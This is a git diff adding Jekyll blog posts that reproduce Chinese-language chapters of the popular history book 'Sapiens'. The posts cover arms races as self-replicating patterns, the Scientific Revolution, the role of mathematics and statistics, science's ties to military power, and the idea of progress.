+在社会科学领域中，博弈理论也常有类似的论点。博弈理论告诉我们，在有多位参与者的时候，某些概念和行为模式可能对“所有”参与者都有害，但就是有办法继续存活下去。军备竞赛就是一个著名的例子。很多时候，各国的军备竞赛只会拖垮所有彼此对立的国家，并不会真正改变军事力量的平衡。巴基斯坦买了先进战机，印度就立刻跟进。印度发展核弹，巴基斯坦也有样学样。巴基斯坦扩编海军，印度就立刻仿效。在这一切过程结束的时候，双方权力平衡很可能根本和过去没什么改变，但原本可用于教育或医疗的数十亿美元经费就这样浪费在武器上了。然而，这种军备竞赛的发展势难抗拒。这就是种行为模式，像是病毒一样从一个国家传到另一个国家，伤害了所有人，只对行为模式本身有利，符合演化论上繁衍、复制的要求。（在此一提，军备竞赛也像基因一样，本身并没有意识，并不是自觉地在寻求生存和繁殖。其传播是在难以阻挡的发展趋势下，出现一个意外的结果。） +于是，无论我们把历史发展的动力称为博弈理论、后现代主义或迷因学，“提升人类福祉”绝不是其主要目标。并没有证据显示史上最成功的文化就一定是对智人最好的文化。而就像演化一样，历史的演进并不在意生物个体是否幸福。至于对个别的人类来说，即使受到了历史演进的影响，但通常一方面太过无知，一方面又太过软弱，因此无力改变。 +* * * +历史就这样从一个岔路走到下一个岔路，选择走某条道路而非另一条的原因总是神秘而不得而知。大约在公元1500年，历史做出了最重大的选择，改变的不只是人类的命运，而是地球上所有生命的命运。我们将它称为“科学革命”。科学革命始于西欧，这里可以说只是亚非大陆的一个巨大半岛，在这之前并未在历史上发挥重大作用。但为什么科学革命是出现在此，而不是中国或印度？又为什么是第二个千禧年的中叶，而不是两百年之后或是三百年之前？这一切，我们都不知道。学者已经提出数十个理论，但都不特别具有说服力。 +历史有太多的可能性，而许多的可能性最后都未成真。我们不难想象，历史其实很有可能就这样一代又一代地过去，而从未发生科学革命，就算没有基督教，没有古罗马帝国，没有金币，历史还是会继续发展下去。 diff --git a/_posts/2017-01-06-206-sapiens-cp14.md b/_posts/2017-01-06-206-sapiens-cp14.md new file mode 100644 index 0000000..704f10d --- /dev/null +++ b/_posts/2017-01-06-206-sapiens-cp14.md @@ -0,0 +1,137 @@ +--- +layout: post +title: 第十四章发现自己的无知 +pid: 206 +tags: [人类简史：从动物到上帝] +--- +第四部分 +科学革命 +图22 新墨西哥阿拉莫戈多（Alamogordo），1945年7月16日，早上5点29分53秒。这是第一颗原子弹引爆8秒后的影像。核物理学家罗伯特·奥本海默在看到这场爆炸之后，引述了《薄伽梵歌》（Bhagavad Gita）：“现在我成了死神，世界的毁灭者。” + +第十四章 +发现自己的无知 +假设有个西班牙农民，在公元1000年沉沉睡去，等到他醒来的时候已经过了500年，虽然这时哥伦布的水手已经登上新大陆，但他看看四周的世界，还是会感到十分熟悉。这时的科技、礼仪和国界都有许多不同，但这位做了个李伯大梦的中世纪农民仍然能有家的感觉。然而，如果是某位哥伦布的水手做了这场梦，醒来的时候听到的是21世纪的iPhone铃声，他会发现自己处在一个完全陌生、无法理解的世界。他很可能会问自己：“这是天堂吗？还是地狱?!” +在过去500年间，人类的力量有了前所未有的惊人成长。公元1500年时，全球智人的人口大约有5亿，但今天已经到了70亿。68人类在1500年生产的商品和服务总共约合现值2500亿美元，69但今天每年人类生产的价值约为60万亿美元。70在1500年，全人类每天总共约消耗13万亿卡路里，但今天每天要消耗1500万亿卡路里。71（看看这些数字，人口增加了14倍，生产增加240倍，消耗的能量增加了115倍。） +假设有一艘现代战舰回到了哥伦布的时代，只要几秒就能摧毁整个哥伦布的船队，更能轻松击沉当时所有世界强权的海军，自己连个刮痕都不会有。只要有五条现代的货柜船，就能承载当时全世界所有船队所运的货物。72只要有一台现代计算机，就能储存中世纪所有图书馆里全数抄本和卷轴的信息，而且还剩下许多空间。就算把所有前现代王国的财产数量全部相加，也比不上现在世界上任何一家大型银行。73 +在公元1500年，有几个城市人口已经超过10万，多数建材使用泥土、木材和稻草；只要有三层楼的建筑，就已经算是座摩天大楼。街道是有车辙的泥土路，夏天尘土飞扬，冬天泥泞不堪，街上满满的是行人、马匹、羊、鸡，以及少数的运货马车。城市里最常听到的噪音是人声和动物声，偶尔还会听到锤子和锯子的声音。日落时分，城市景观是一片黑，只有偶尔能见到的几点烛光，或是火把闪烁。如果这种城市的居民看到了现在的台北、纽约或孟买，他会怎么想？ +在16世纪前，从没有人绕地球航行一周。一直要到1522年，麦哲伦的船队历经72000公里的旅程，终于回到西班牙，完成了环球壮举。这趟旅程耗时3年，几乎所有探险队员都在途中丧生，麦哲伦也是其中一员。而到了1873年，在科幻小说家凡尔纳（Jules Verne）的想象中，富有的英国探险家福格（Phileas Fogg）已经可以只花80天就环游世界一周。而到了今天，只要有中产阶级的收入，任何人都能够在48小时内轻松又安全地完成环球大业。 +在公元1500年，人类还被局限在地面上。虽然可以盖起高塔、爬上高山，但天空仍然是专属于飞鸟、天使和神的领域。而到了1969年7月20日，人类登陆月球。这不只是一项历史成就，更是一项演化上甚至是宇宙间的壮举。在过去40亿年演化期间，没有任何生物能够离开地球大气层，更不用谈要在月球上留下手印或足迹。 +在地球上，微生物占了全部有机体大约99.99%，但人类要到非常晚近，才对微生物有所认识。这并不是因为微生物与我们无关，相反的是，我们每个人身上都有数十亿个单细胞生物，而且还不只是搭搭便车的关系。微生物可以说是我们最好的朋友，也是最致命的敌人。有些微生物可以帮助消化、健胃整肠，而有些则会导致疾病、造成感染。一直要到1674年，才有人第一次真正看见了微生物。当时安东·冯·列文虎克（Anton van Leeuwenhoek）自制了一台显微镜，用来观察一滴水，他看到里面有许多小生物动个不停，这让他大吃一惊。在随后的300年间，人类才开始认识了许许多多的微生物物种。时至今日，我们已经能够治疗大多数由微生物造成的致命传染病，也能够将微生物用于医疗和产业用途。像是我们可以用细菌来制造药物、生物燃料，或是杀死寄生虫。 +然而，如果要在过去500年间挑出一个最重大、具代表性的一刻，一定就是1945年7月16日上午5点29分45秒。就在这一秒，美国科学家在新墨西哥的阿拉莫戈多引爆了第一颗原子弹。从这时开始，人类不仅有了改变历史进程的能力，更有了结束历史进程的能力。 +* * * +将人类带到阿拉莫戈多、带上月球的这段历史进程，称为“科学革命”。在这场革命中，人类因为将资源投入科学研究，取得了巨大的新力量。之所以说这是一场革命，是因为一直到大约公元1500年前，全球人类还不相信自己能在医疗、军事和经济方面再有什么突破。政府和富有的赞助者虽然也会将资金投入教育和作为奖学金，但一般来说只是为了维持现有能力，而不是取得新的能力。典型的前现代统治者会赞助牧师、哲学家和诗人，目的是请他们让他的统治合法化，并且维护社会秩序，而不是要他们发明新的药物、武器，或是刺激经济成长。 +但在过去的500年中，人类越来越相信可以靠着投资科学研究提升人类的能力。而且这不只是盲目的信仰，而是经过了反复的证明。随着证据越来越多，手中握有资源的富人和政府也就越来越愿意投入科学。如果没有这些投资，人类永远不可能在月球上漫步，不可能操纵微生物，更不可能分裂原子。以美国政府为例，最近数十年投入数十亿美元从事核物理研究。靠着相关研究，美国得以兴建核发电厂，为美国产业提供廉价的电力，而产业又能纳税给美国政府，政府再拨其中部分继续研究核物理。 +科学革命的回馈循环。科学需要的不只是研究本身要有进展，更需要科学、政治和经济彼此相互强化。如果没有政治和经济组织提供资源，科学研究几乎就不可能成功。反过来说，科学研究也为赞助者带来新的能力，让他们能够取得新的资源，而部分就会再用来研发新的能力。 +为什么现代人越来越相信自己能够靠着研究取得新的能力？又是什么促成了科学、政治和经济的结合？本章先着重在现代科学的独特性，以提供部分解答。接下来的两章会再探讨科学、欧洲帝国、资本主义经济三者之间如何形成联盟。 +不知为不知 +至少在认知革命之后，人类就很希望能了解这个世界。我们的祖先投入大量时间和精力，希望能找出支配自然界的法则。然而，现代科学与先前的知识体系有三大不同之处： +1. 愿意承认自己的无知。现代科学的基础就是拉丁文前缀“ignoramus-”，意为“我们不知道”。从这种立场，我们承认了自己并非无所不知。更重要的是，我们也愿意在知识进展之后，承认过去相信的可能是错的。于是，再也没有什么概念、想法或理论是神圣不可挑战的。 +2. 以观察和数学为中心。承认无知之后，现代科学还希望能获得新知。方式则是通过收集各种观察值，再用数学工具整理连接，形成全面的理论。 +3. 取得新能力。光是创造理论，对现代科学来说还不够。它希望能够运用这些理论来取得新的能力，特别是发展出新的科技。 +科学革命并不是“知识的革命”，而是“无知的革命”。真正让科学革命起步的伟大发现，就是发现“人类对于最重要的问题其实毫无所知”。 +对于像是伊斯兰教、基督教、佛教、儒教这些前现代知识体系来说，它们假设世上所有重要的事情都已经为人或为神所知。这些全知者可能是某些伟大的神、某个全能的神或是某些过去的智者，通过经典或口传，将这些智慧传给后人。而对于平民百姓而言，重点就是要钻研这些古籍和传统，正确加以理解，就能获得知识。在当时，如果说《圣经》、《古兰经》或《吠陀经》居然漏了某些宇宙的重大秘密，而这个秘密又居然能被一般血肉之躯的人给发现，这简直是不可思议的事。 +对古老的知识体系来说，只会承认两种无知的可能。第一种，“个人”可能不知道某些重要的事。要取得必要的知识，他该做的就是去问那些更聪明的人，而不是去寻找什么还没有人知道的事。例如，如果有一位13世纪的英格兰农夫，想知道人类究竟是怎么来的，他会认为基督教知识体系一定能有明确的答案。所以，他该做的就是去请教当地的牧师。 +第二种，“整个知识体系”可能不知道一些“不重要”的事。就当时的定义来说，伟大的神祇或智者都懒得告诉我们的事，一定是不重要的。例如，假设我们这位英格兰农民又想知道蜘蛛是怎么结网的，他去问牧师也没用，因为任何的基督教经典都不会提到这个问题的答案。然而，这绝对不代表基督教有什么缺陷。反而是代表蜘蛛怎么结网这件事根本不重要，人类无须知道。毕竟，上帝一定知道蜘蛛怎么结网，而如果这件事这么重要、会影响到人类的繁荣和救赎，上帝怎么可能不在《圣经》里面有完整的解释？ +基督教并不会禁止民众研究蜘蛛。但研究蜘蛛的学者（如果中世纪欧洲真的有人研究蜘蛛的话）就必须有心理准备，知道自己在社会就是处于边缘角色，而且不管研究结果为何，基督教永远都是对的。所以，不管学者研究的是蜘蛛、蝴蝶，还是加拉帕戈斯雀，都只会被视为是无关痛痒的事，不会影响到社会、政治和经济的基本真理。 +事实上，事情永远没那么简单。就算是最虔诚、最保守的时代，还是会有人认为，一定有什么“重要的事”，是“整个知识体系”所不知道的，但这种人常常就会被边缘化或遭受迫害；但也有可能，他们就会开创一个新的体系，开始宣称只有他们才知道所有该知道的事。举例来说，穆罕默德宗教生涯的第一步，就是谴责他的阿拉伯同胞，说他们对于真正神圣的真理一无所知。穆罕默德很快就宣称只有自己知道全部的真相，而信众也开始称呼他为“先知的封印”（The Seal of the Prophets，意为所有先知到此为终结）。于是，所有的启示当然也就是到了穆罕默德为止，再也没什么重要的了。 +现代科学是一套独特的知识体系，独特之处也就在于公开承认这“整套体系”都对一些“最重要的问题”一无所知。达尔文从来没有说过自己是“生物学家的封印”，说自己已经完全解开了生命的谜团。经过几个世纪的大规模科学研究，生物学家承认，他们还是无法完整解释为什么大脑能够产生意识。物理学家也承认，他们不知道什么引起了宇宙大爆炸，也不知道如何让量子力学与广义相对论结合起来。 +也有些时候，因为不断有新证据出现，各种科学理论也就互相交锋、战火热烈。一个典型的例子，就是究竟哪种经济模式最好。虽然每个经济学家都可能会说自己的模式最恰当，但每次出现金融危机和股市泡沫，我们就会看到主流改变；目前一般公认，我们还是不知道最佳的经济模式究竟为何。 +还有些时候，因为现有的证据强力支持某些理论形成主流，于是其他理论就被冷落。虽然我们一般认定主流理论为真，但每个人也都同意，如果新证据出现而与主流理论相违背，主流理论也就需要修正甚至是淘汰。像是板块构造理论和演化论就属于这种例子。 +现代科学愿意承认自己的无知，就让它比所有先前的知识体系更具活力、更有弹性，也更有求知欲。这一点大幅提升了人类理解世界如何运作的能力，以及创造新科技的能力。然而，这也给人类带来祖先多半无须面对的一个严重问题。就现在这个体系而言，我们假设自己并非无所不知，现有的知识也并未定案，但这也同样适用于那些让数百万人得以有效合作的虚构故事。如果证据显示许多这些故事都大有问题，社会岂不是要崩溃了？要怎样才能让社会、国家和国际体系继续维持运作？ +正因如此，现代想要维持社会政治秩序稳定，只能靠着两种不科学的方法，其他别无选择。 +1. 虽然采用科学理论，但必须违反一般科学做法：宣称这就是绝对的真理。纳粹就是采用这种方式，声称他们的种族政策是来自生物事实的推论。 +2. 不要采取科学方法，而诉诸“非科学的绝对真理”。这一直是自由人文主义的策略。自由人文主义的基础在于坚持主张人类的特殊价值和权利，但很尴尬的是，对智人的科学研究并不认同这种看法。 +但我们也不该太过惊讶。毕竟，科学还是得倚靠着种种宗教和意识形态信仰，才能取得经费，并将研究正当化。 +不论如何，现代文化已经比过去任何文化都更愿意承认自己的无知。而现代社会之所以还能够维系，原因之一就在于对科技和科学研究方法的信任，这几乎成了类似宗教的信仰，甚至在一定程度上也取代了对绝对真理的信念。 +科学教条 +现代科学没有需要严格遵守的教条，但研究方法有一个共同的核心：收集各种实证观察（可以用感官感受到的），并以数学工具整理。 +人类从历史一开始就不断进行实证观察，但其影响常常十分有限。毕竟，如果我们觉得已经有了所有问题的答案，为什么还要浪费资源进行新的观察？然而，现代人们开始承认自己在某些非常重要的问题上几近无知，就开始觉得需要寻找取得全新的知识。因此，主流的现代研究方法就会预设旧知识有所不足。而且，这时候的重点不在于研究旧的知识体系，而是要强调新的观测、新的实验。如果现在观察到的现象与过去的传统知识体系相冲突，我们会认为现在的观察才正确。当然，如果是研究宇宙星系的物理学家、研究青铜时期城市的考古学家或是研究资本主义产生的政治学家，就不会忽略传统知识体系。他们会研究过去的智者究竟写了什么、说了什么。但不论是想当物理学家、考古学家还是政治学家，在读大学的第一年，就会有人告诉他们，要把目标放在超越爱因斯坦、施利曼（Schliemann）和韦伯所告诉我们的知识。 + +* * * +然而，光是观察并不足以成为知识。为了要了解宇宙，我们必须整理各种观察，结合成完整的理论。早期的知识体系常常是用“故事”构成理论，而现代科学用的则是“数学”。 +例如在《圣经》、《古兰经》、《吠陀经》或是儒教经典里，我们很少看到有图表或计算公式。传统的神话和经典里，讲到所谓的一般法则都是用文字叙述，而不是用数学公式。举例来说，摩尼教提出的基本原则就认为世界是善与恶的战场。恶的力量创造了物质，而善的力量创造了精神。人类就处于这两股力量之间，而应该从善弃恶。然而，摩尼教的先知摩尼（Mani）并没有用什么公式来告诉我们善恶两方各自拥有多少力量，人类应该据以做什么选择。他从来没有算过什么“作用在人身上的力等于精神的加速度除以身体的质量”。 +但这正是科学家的目标。在1687年，牛顿发表《自然哲学的数学原理》（The Mathematical Principles of Natural Philosophy），这可以说是现代历史最重要的著作。牛顿在书中提出三大运动定律，只要用三个非常简单的数学公式，就能够解释宇宙中苹果或是流星掉落的规律： +从此之后，任何人想要了解炮弹或行星是如何运动的，又会落向何方，只要测量一下物体的质量、方向、加速度和作用力，把这些数据填入牛顿的方程式，答案简直就像魔术一样跃于眼前。一直要到19世纪末，科学家才观察到有某些状况并不符合牛顿运动定律，于是带来下一波物理理论的革命：相对论和量子力学。 +* * * +牛顿告诉我们，大自然这本书所用的书写语言是数学。某些章节可以总结成某个明确的方程式。也有些学者想仿照牛顿，将生物学、经济学和心理学整理成简单的公式，却发现这些领域实在太复杂，不可能依样画葫芦。然而，这并不代表他们就放弃了数学。在过去两百年间，为了处理现实中更复杂的层面，数学发展出一个新的分支：统计学。 +1744年，亚历山大·韦伯斯特（Alexander Webster）和罗伯特·华莱士（Robert Wallace）这两位苏格兰长老会教士打算成立一个寿险基金，为神职人员的遗孀和孤儿提供补助。他们建议教会的每一位牧师都将收入拨一部分进入基金，基金用这笔钱从事投资。如果牧师过世，遗孀就能从基金的获利中取得分红，她的余生也有了保障。然而，他们必须先知道基金规模多大才足够完成这种目标。韦伯斯特和华莱士必须预测每年大约会有多少牧师过世、留下几位孤儿寡妇，以及这些寡妇在丈夫过世后还会活几年。 +我们来提一下这两位教师“没有做”什么。他们没有向上帝祈祷告诉他们答案，没有在《圣经》或古代神学家作品中遍寻解答，也没有提出抽象的哲学争论。毕竟，苏格兰人本来就是个实际的民族。于是他们联络了爱丁堡大学的数学教授科林·麦克劳林（Colin Maclaurin）。他们收集了民众过世年龄的资料，用以计算在某一年里可能有几位牧师过世。 +这些计算要归功于当时不久前在统计与概率等领域的几项突破。其中之一是雅各布布·伯努利（Jacob Bernoulli）的大数法则（Law of Large Numbers）。伯努利认为，虽然某些单一事件（例如某个人死亡）难以准确预测，但只要有了许多类似事件，用平均结果来预测就能相去不远。换句话说，虽然麦克劳林无法用数学预测韦伯斯特和华莱士是不是明年就会过世，但只要有足够的数据，他就能告诉韦伯斯特和华莱士明年很有可能有多少位苏格兰长老教会牧师过世。幸运的是，他们手上已经有现成的数据。爱德蒙·哈雷（Edmond Halley）在50年前就已经发表相关统计表，正好派上用场。哈雷分析了德国布雷斯劳市（Breslau）的1238份出生、1174份死亡记录，让我们看到某个20岁的人死在某一年的概率是1∶100，而50岁的人则是1∶39。 +整理这些数字之后，韦伯斯特和华莱士得出结论：平均而言，苏格兰通常有930位长老教会牧师，每年过世27位，而其中有18位会留下遗孀。在没有留下遗孀的几位中，有5位会留下孤儿，至于有遗孀的，也有2位可能有不到16岁的孩子。他们还计算出遗孀有可能在多久之后过世或再婚（这种时候便停止补助）。有了这些数据之后，韦伯斯特和华莱士就能判断加入基金的牧师每人该付多少钱，为自己的亲人打算。当时，如果牧师年缴2英镑12先令又2便士，他的遗孀便能一年得到10英镑。这在当时可是一大笔钱。而如果他认为这还不够，可以选择年缴6英镑11先令3便士，遗孀一年就能得到25英镑，生活更为优渥。 +根据他们的计算，到了1765年，这个“苏格兰教会牧师遗孀及孩童抚恤基金”总资本会有58348英镑。事后证明，他们的计算准确到不可思议。到了这一年，基金总资本为58347英镑，只比预测少了1英镑！这可是比所有宗教先知的预言都准确太多了。时至今日，他们的基金简称为苏格兰遗孀基金（Scottish Widows），是全球最大的退休金和保险公司之一，总值高达1000亿英镑，现在任何人都能够购买其保单，而不只保障苏格兰的遗孀。74 +这两位苏格兰神职人员所用的概率计算，后来不仅成了精算学的基础（这是退休金和保险业务的核心），也成了人口统计学的重要概念〔人口统计学则是由圣公会的牧师罗伯特·马尔萨斯（Robert Malthus）所建立〕。接着，人口统计学又成了达尔文（他也差点儿成了英国圣公会的牧师）建立演化论的基础。虽然没有公式能够预测某种条件下什么样的生物可能演化，但遗传学家还是能够利用概率计算，了解某个特定族群产生特定突变的可能性。这样的概率模型已经成了经济学、社会学、心理学、政治学和其他社会科学及自然科学的基础。就算是物理学，最后牛顿的经典公式也加入了量子力学的概率云（probability cloud）概念。 +* * * +只要看看教育的历史，就能知道这项进展对人类有多大的影响。一直以来，数学就是一门深奥的学问，就算是知识分子也很少真的全心投入。在中世纪的欧洲，教育的核心是逻辑、语法、修辞，数学教育通常就只是简单的算术和几何学。没有人研究统计学这件事。神学无疑是所有学科中的王道。 +但到了今天，修辞学乏人问津，逻辑只剩哲学系继续捧场，神学只剩神学院大力支持。但有越来越多的学生有兴趣或是被强迫学数学。走向精确科学（exact science）的趋势势不可挡，而所谓的“精确”，正是因为使用了数学工具。就算是像语言学或心理学这种传统上属于人文领域的学科，现在也越来越依赖数学，并试图让自己看来有着精确科学的样子。统计课程现在已经不只是物理学和生物学的必修课，连心理学、社会学、经济学和政治学也同样需要。 +像是在我任教的大学，心理系列出的第一项必修课就是“心理学研究统计与方法概论”。而到了第二年，心理系学生还得修“心理学研究统计方法”。如果你告诉孔子、佛陀、耶稣和穆罕默德，要先学会统计，才能了解人的心灵、治愈人的疾病，他们一定会觉得一头雾水。 +知识就是力量 +对大多数人来说，要消化了解现代科学并不容易，因为对人脑来说，这种数学语言很难掌握，而且其结果常常与一般常识互相矛盾。在全球70亿人口中，有多少人真的了解量子力学、细胞生物学或总体经济学？尽管如此，因为科学为人类带来太多新的能力，也就享有崇高的地位。虽然总统和将军可能自己不懂核物理，但他们对于核弹能做什么事可是了如指掌。 +在1620年，培根（Francis Bacon）发表了《新工具》（The New Instrument）的科学宣言，提出“知识就是力量”。对“知识”的考验，不在于究竟是否真实，而在于是否能让人类得到力量或权力。科学家一般公认，没有任何一种理论百分之百正确。因此，用“真实”与否来为知识评分并不妥当。真正的考验就是实用性。能让我们做出新东西来的，就是知识。 +几个世纪以来，科学为人类提供了许多新的工具。有些是思考的工具，像是能够用于预测死亡率和经济成长率；但更重要的是科技工具。科学和科技的关联实在太过密切，让许多人将这两者混为一谈。我们常常会认为，没有科学研究就无法发展出新科技，而如果不会产生新科技，科学研究也就没有意义。 +但事实上，科学和科技是在最近才开始紧密相连。在公元1500年前，科学和科技还是两个完全不同的领域。培根在17世纪将这两者接轨的时候，其实是个革命性的想法。两者的关系在17、18世纪更趋紧密，但要到了19世纪才真正孟不离焦。即使到了1800年，当时多数的统治者都希望能有一支强大的军队，多数的商业大亨也都希望能有蓬勃的企业，但他们都还完全不会想到要为物理学、生物学、经济学等研究提供资金。 +当然，史上并不是没有例外。只要是优秀的历史学家，绝对都能找出例外情形；但如果是更优秀的历史学家，就会知道这些例外只是出于某些人一时的好奇，不应该因此影响对大局的判断。一般来说，前现代的统治者和商人想取得新科技的时候，多半并不是将资金投入研究宇宙的本质，而多数的思想家也不会想把他们的发现发展成科技上的小工具。统治者资助教育机构，目的只是为了传播传统知识、强化现行秩序。 +虽然在过去也常有人发展出新科技，但通常是些未受过教育的工匠不断尝试错误而产生，而不是学者经由系统化的科学研究而得。运货马车的制造商，每年会用一样的材料制作出一样的车，而不会把每年赚钱的一定比例投入研发新型马车。虽然马车的设计偶尔也会有所改善，但通常是因为当地某个木匠天纵英才，而且他常常一步也没进过大学，很可能大字也不识一个。 +不仅民间如此，公共部门也一样。在现代国家里，从能源、医疗到废弃物处理，国家几乎都会要求由科学家提出解决办法，但这在古代的王国里很少出现。古今比较，最明显的差别就在于武器设备。1961年，即将卸任的美国总统艾森豪威尔对于军事与产业结合、势力不断膨胀的情形提出警告，但他的说法并不完整。除了军事和产业，科学也是其中一分子，因为今日的战争正是科学的产物。许多的科学研究和科技发展，正是由军事所发起、资助及引导。 +在第一次世界大战陷入无止境的壕沟战时，双方都寄望科学家能够打破僵局、拯救自己的国家。这些穿着实验衣的人响应了这项号召，从实验室里大量推出各种令人咋舌的新式武器：战机、毒气、坦克、潜艇，比以往效能更高的机枪、大炮、步枪和炸弹。 +到了第二次世界大战，科学的重要性更是一日千里。1944年底，德国节节败退，战败已经近在眼前。一年前，德国人的盟友意大利也已经推翻了墨索里尼，向同盟国投降。然而，即使英美苏三国联军步步进逼，德国还是不断顽强抵抗。之所以德国军民还是能够维持一线希望，就是因为他们相信德国科学家即将能够推出如同奇迹般的新武器，像是V2火箭和喷气式飞机，力挽狂澜。 +然而，虽然德国人确实在研发火箭和喷气式飞机，美国曼哈顿计划却已经将原子弹研发成功。1945年8月初，原子弹制造完成，虽然德国已经投降，但日本还在负隅顽抗。美国军队作势攻入日本本岛。日本誓死抵抗，准备决一死战，而且这绝非装腔作势。美国将军告诉杜鲁门总统，如果真要入侵日本本土，必然有超过百万美国士兵丧命，战争也必然会拖进1946年。于是，杜鲁门决定使用这款新型炸弹。在两枚原子弹投下之后，日本宣布无条件投降，战争就此告终。 +然而，科学除了研发出攻击性武器，也可能提供防御的功能。今天有许多美国人相信解决恐怖主义威胁的关键不在政治，而是科技。他们相信只要在纳米科技产业再投入几百万美元，美国就能研发出类似仿生间谍苍蝇的装置，前往每个阿富汗的山洞、也门的碉堡或是北非的军营。只要梦想成真，本·拉登的继任者就算只是泡杯咖啡，中情局的间谍苍蝇也能了如指掌，立刻将这个重要信息传回中情局本部。他们也相信，只要在大脑研究再投入几百万美元，就能在每个机场配备超精密的脑波扫描仪，侦测种种愤怒和仇恨的思想。这会成真吗？没有谁知道。开发这些间谍苍蝇或思想扫描仪真的是明智的做法？这也是未定之数。尽管如此，就在你读着这几行字的时候，美国国防部很可能就投入了数百万美元，研发相关的纳米技术，资助相关的大脑实验，推动相关的种种研究。 +从坦克、原子弹到仿生间谍苍蝇，一般人可能想不到的是，这种对于军事科技的迷恋其实到了近代才出现。在19世纪前，军事上的主要变革都在于组织而不是科技。在不同文明第一次接触时，科技差距有时候影响重大，但即使如此，却很少人认真想过要刻意制造或扩大这种差距。大多数的帝国之所以兴起并不是因为有了形同巫术般的科技，而且统治者也并未认真思考要提升科技。阿拉伯人能够打败波斯帝国，并不是因为弓或剑更为优良；土耳其人能够打败拜占庭，并不是科技上占了什么优势；蒙古人征服中国，靠的也不是什么巧妙的新武器。事实上，以上这些战败国的军事和民间科技，其实都更先进。 +古罗马军队是个特别好的例子。这是当时最强的军队，但就科技上来说，古罗马并不比迦太基、马其顿或塞琉西帝国占有优势。古罗马军队的优点在于有效率的组织、铁一般的纪律，以及庞大的后备力量。古罗马军队从来没有研发部门，在几世纪间，所用的武器大致上并无不同。前面提过，小西庇阿曾在公元前2世纪率大军攻下努曼西亚，将迦太基夷为平地，而如果他的军队穿越时空来到500年后的君士坦丁在位期间，他战胜的概率其实仍然很高。但想象一下，就算已经到了16至18世纪的近现代，如果把康熙皇帝的军队带到现代，要和中国解放军一较高下，情况会是如何？虽然康熙文治武功均高，手下也有一批猛将，但在现代武器装置之前都将不堪一击。 +无论是在古罗马或是古中国，多数的将领和哲学家都不认为研发新武器是自己的责任。然而，中国史上最伟大的发明就包括了火药。而就目前所知，火药的发明其实是一场意外，原本的目的是道士想炼出长生不老药来。而从火药后来的发展，就更能看出这种趋势。有人可能会认为，有了这些道教炼丹术士，中国就要称霸全球了。但火药这种全新化合物在中国的主要用途只是鞭炮而已。就算是蒙古大军已经兵临城下，也没有哪个宋朝皇帝急着建立起中世纪的曼哈顿计划，发明某种末日武器来拯救宋朝。一直要到大约15世纪（火药发明大约600年后），大炮才成了亚非大陆上战争的决定性因素。从一开始，火药就有了能够攻城略地的潜力，但为什么要花这么久才付诸军事用途？原因就在于，火药刚发明的时候，不论是皇帝、文人还是商人，都没想到新的军事科技能够救国或是致富。 +情况一直要到15、16世纪才有所改变，但又要再两百年后，才有证据显示统治者确实已经愿意将资金投入新武器的研发。在当时，后勤对战争的影响仍然远大于科技。拿破仑在1805年的奥斯特利茨（Austerlitz）战争大破俄奥联军，但他所用的武器其实和不久前被送上断头台的路易十六的并无太大不同。拿破仑本人虽然是炮兵出身，但对新武器的兴趣不大。科学家和发明家曾希望说服他拨款研发飞行器、潜艇和火箭，他仍然意兴阑珊。 +一直要到资本主义制度和工业革命登场，科学、产业和军事科技才开始了水乳交融的关系，从此世界急速全然改观。 +进步论的理想 +在科学革命之前，多数人类文化都不相信人类还会再进步。他们觉得黄金时代属于过去，整个世界只会停滞甚至恶化。如果恪遵祖宗智慧，或许能够再次唤回过去美好时光；如果发挥人类智慧，或许也能勉强改善日常生活某些面向。然而，人们普遍不相信人类知识能够克服世界上最重大的问题。如果连穆罕默德、耶稣、佛陀、孔子这些全知者都没办法解决饥荒、疾病、贫穷和战争，我们这些平凡人又怎么做得到呢？ +许多信仰相信，总有一天会出现某位救世主，解决一切战争、饥荒甚至死亡。但是如果说到人类可以靠着发现新知识、发明新工具就解决一切问题，就会被认为不只是可笑，更是狂妄自大。无论是巴别塔、希腊神话的伊卡鲁斯（Icarus）或是犹太传说的活假人（Golem），这些神话故事都在告诫人类，不要企图超越人类的极限，否则只会灾难加身。 +等到现代文化承认自己对许多重要的事还一无所知，又发现科学研究可以给我们新的力量，人类开始思索，觉得确实还有可能真正进步。随着科学开始解决一个又一个过去认为无法解决的问题，许多人也开始相信，只要取得并应用新知，人类就能解决所有的问题。贫困、疾病、战争、饥荒、年老和死亡看来都已不再是人类必然的命运，而只是无知造成的限制。 +一个著名的例子就是闪电。在许多文化里，闪电都被认为是愤怒的雷神之锤，用来惩罚罪人。但在18世纪中叶有了一个科学史上最著名的实验，富兰克林（Benjamin Franklin）在一场雷雨中放风筝，希望验证闪电是否只是一道电流。通过富兰克林的实证观察，再加上他对电的特性的知识，他终于发明了避雷针，于是神祇缴械认输。 +贫穷又是另一个例子。在许多文化里，贫穷都被认为是这个不完美世界里不可避免的一部分。根据《圣经·新约》，在耶稣被钉十字架前不久，有一个女人拿着一瓶珍贵的香膏来浇在耶稣的头上，香膏足足价值300迪纳厄斯银币。耶稣的门徒认为这么大一笔钱可以用来赈济穷人，不该如此浪费，因此有些生气。但耶稣则为她辩护，说道：“常有穷人和你们同在，要向他们行善随时都可以；只是你们不常有我。”（《马可福音》，14:7）。但到了今天，就算是基督徒，也越来越少人会同意耶稣的说法。就现在看来，贫穷越来越像是个可以处理的技术问题。一般都认为，只要以农学、经济学、医学、社会学的最新发现为基础，制定相关政策，就能消灭贫穷。 +而且确实，世界许多地方已经不再有最恶劣的贫穷形式。纵观历史，社会上有两种贫穷：（1）社会性的贫穷，指的是某些人掌握了机会，却不愿意释出给他人；（2）生物性的贫穷，指的是因为缺乏食物和住所，而使人的生存受到威胁。或许社会性的贫穷永远都会存在、无法根除，但在全球许多国家中，生物性的贫穷都已经成了过去式。 +在不久之前，大多数人的生活还十分接近生物贫穷线，只要一落到这条线以下，就代表无法得到足以维持生命的热量。于是只要稍微失算或是一时不幸，就很容易落到线下，面临饿死的危机。而无论是天灾还是人祸，都很可能让一大群人共同落入这个深渊，造成数百万人死亡。但到今天，全球大多数人民都有一张安全网。可能是个人保险，可能是社会福利，也可能是当地或国际非政府组织的保护，能让他们免遭不幸。即使某一地区遭遇重大灾难，全球动员的救灾工作通常也能避免情况恶化到无可挽回。虽然民众还是会碰上一些落魄、耻辱、贫病交错的情形，但在多数国家里，都不会再发生饥饿至死的惨剧。事实上，许多社会现在的问题是营养过剩，胖死比饿死的概率更高。 +吉尔伽美什计划 